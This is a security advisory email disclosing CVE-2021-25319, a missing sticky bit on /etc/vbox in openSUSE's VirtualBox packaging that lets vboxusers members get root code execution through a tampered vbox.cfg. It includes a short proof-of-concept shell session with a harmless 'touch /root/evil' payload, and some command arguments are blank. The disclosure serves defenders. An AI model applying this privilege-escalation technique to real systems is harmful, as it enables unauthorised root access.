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Date: Mon, 26 Apr 2021 15:41:17 +0200
From: Matthias Gerstner <>
Subject: virtualbox: CVE-2021-25319: missing sticky bit in openSUSE packaging
 for /etc/box allows local root exploit for members of vboxusers group


somewhat related to CVE-2021-2264 I noticed an openSUSE specific
security issue in the openSUSE packaging for virtualbox [1]. To enable
the autostart feature in virtualbox as outlined in the upstream manual
[2] our packagers introduced a group 'vboxusers' that is granted write
access to the directory /etc/vbox as the "autostart DB". Contrary to
what the manual says the directory was not packaged with the sticky bit
set, however.

The file /etc/vbox/vbox.cfg is a configuration file for virtualbox. This
file is sourced by other virtualbox bash scripts running as root like
'', '' and ''. Due to the
missing sticky bit any member of the vboxusers group can replace the
/etc/vbox/vbox.cfg file by a manipulated one, allowing for full code
execution in the context of the root user once e.g. the vboxautostart
systemd service runs.


    root# su -g vboxusers nobody
    nobody$ cd /etc/vbox
    nobody$ cp vbox.cfg
    nobody$ rm -f vbox.cfg
    nobody$ mv vbox.cfg
    nobody$ echo "touch /root/evil" >>vbox.cfg
    nobody$ exit
    root# systemctl start vboxautostart.service
    root# ls -lh /root/evil
    -rw-r--r-- 1 root root 0  2. Mär 12:14 /root/evil

I have been looking into other distributions like Arch Linux, Fedora and
also some of the RPMs distributed on They all
package /etc/vbox as root:root mode 755 and are therefore not affected.

Updates for the openSUSE virtualbox packages are underway [3] that will
fix the packaging error and also move the "autostart DB" directory from
/etc/vbox to /etc/vbox/autostart.d to avoid mixing the autostart related
files with the virtualbox system configuration file in the same




Matthias Gerstner <>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
Phone: +49 911 740 53 290
GPG Key ID: 0x14C405C971923553
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Felix Imendörffer

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